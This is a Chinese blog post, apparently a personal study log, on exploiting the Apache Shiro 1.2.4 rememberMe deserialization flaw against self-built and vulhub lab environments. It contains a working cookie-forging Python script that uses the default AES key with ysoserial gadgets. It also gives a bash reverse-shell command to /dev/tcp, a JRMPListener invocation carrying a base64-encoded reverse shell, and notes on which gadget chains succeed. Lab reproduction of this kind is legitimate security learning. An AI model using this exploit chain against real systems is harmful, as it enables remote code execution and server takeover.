Automne's Shadow.

Shiro 1.2.4反序列化漏洞分析和利用

2020/08/23 Share

Web

关于Shiro550反序列漏洞分析和利用网上的资料浩如烟海,本文作为笔者在学习过程中的阶段性记录。

0x01 手工搭建漏洞环境和URLDNS探测

从github获取对应漏洞版本的shiro

1
2
3
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
cd samples/web

在pom.xml里添加存在漏洞的common-collections版本和一些编译配置项,添加项如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!--  需要设置编译的版本 -->
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
.....
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>

可见这里手工添加了CC4用于漏洞的利用

使用IDEA打开该maven项目,直接编译会出现maven-toolchains-plugin报错,形如

1
2
3
4
5
[INFO] --- maven-toolchains-plugin:1.1:toolchain (default) @ shiro-root ---
[INFO] Required toolchain: jdk [ vendor='sun' version='1.6' ]
[ERROR] No toolchain found for type jdk
[ERROR] Cannot find matching toolchain definitions for the following toolchain types:
jdk [ vendor='sun' version='1.6' ]

解决办法是在.m2目录下添加一个toolchains.xml文件

automne

在当前计算机安装jdk1.6,toolchains.xml文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
<toolchains>
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>D:\Tools\Java\jdk1.6.0_45\</jdkHome>
</configuration>
</toolchain>
</toolchains>

重新在samples/web/目录下执行mvn install,随后将在target目录下生成war包

automne

然后将该war包部署到tomcat的webapps目录下,漏洞环境搭建完成

automne

环境搭建完成,利用ysoserial里的URLDNS payload来打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#encoding=utf-8
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

然后在命令行指定对应的域名,生成了对应的cookie

automne

修改rememberMe cookie的值发送请求

automne

然后dnslog.cn上就有了dns记录。漏洞存在。

automne

0x02 使用JRMPClient对vulhub环境进行漏洞利用

可见自行搭建漏洞环境还是比较麻烦的,可以使用vulhub的环境,该环境使用了自带的CC3,不需要额外添加gadget

直接使用vulhub的docker环境

修改docker-compose.yml文件里的端口,生成容器

automne

automne

漏洞环境启用后,在另一台VPS上,发起利用

首先要生成利用的cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#encoding=utf-8
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

注意在当前目录下放置一个ysoserial.jar文件

然后指定JRMP监听的服务端口,生成rememberMe cookie值。

automne

然后在http://www.jackson-t.ca/runtime-exec-payloads.html下生成base64后的payload

1
bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1

然后在当前的攻击VPS上监听JRMP

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12311 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'

接着监听上面指定的6666端口

然后通过burpsuite发送攻击payload,利用上面生成的cookie

automne

可以看到JRMPListener收到了数据

automne

随后,6666端口也弹回了shell

automne

经测试,CommonsCollections6和CommonsBeanutils1也可以触发,CommonsCollections1和CommonsCollections2和CommonsCollections3和CommonsCollections4无法触发。

Vulhub里的docker环境java版本:

automne

参考链接

https://www.freebuf.com/articles/web/214096.html

https://github.com/frohoff/ysoserial

0x03 使用CommonsCollections10对vulhub环境进行漏洞利用

因为vulhub的环境用的是Commons-Collections-3.2.1,这个版本因为resolveClass函数被重写,导致无法加载数组类,所以之前的CommonsCollections1那些gadget无法使用。

对于不同gadget适用的版本,有文章做了总结:

https://www.freebuf.com/articles/web/214096.html

首先魔改下网上的工具,下载含有CC10 gadget的ysoserial,将原先的cc2,改为cc10

https://github.com/wh1t3p1g/ysoserial/releases

automne

首先使用ceye探测

automne

然后直接执行传入的命令,成功反弹回shell

automne

automne

0x04 Burp插件ShiroPoc的漏洞利用

以vulhub为例,在burp里导入插件后,抓包并在Repeater里右键配置插件的payload。

automne

Vulhub环境需要用CC10来打,Exploit选择XrayCmd或者SpringBootEcho1都是可以的,另外需要注意这里的请求路径,不要携带login。

在cmd的位置处写入要执行的命令。

automne

automne

注意反弹shell的命令需要编码处理,如下图,成功反弹。

automne

CATALOG
  1. 1. 0x01 手工搭建漏洞环境和URLDNS探测
  2. 2. 0x02 使用JRMPClient对vulhub环境进行漏洞利用
  3. 3. 0x03 使用CommonsCollections10对vulhub环境进行漏洞利用
  4. 4. 0x04 Burp插件ShiroPoc的漏洞利用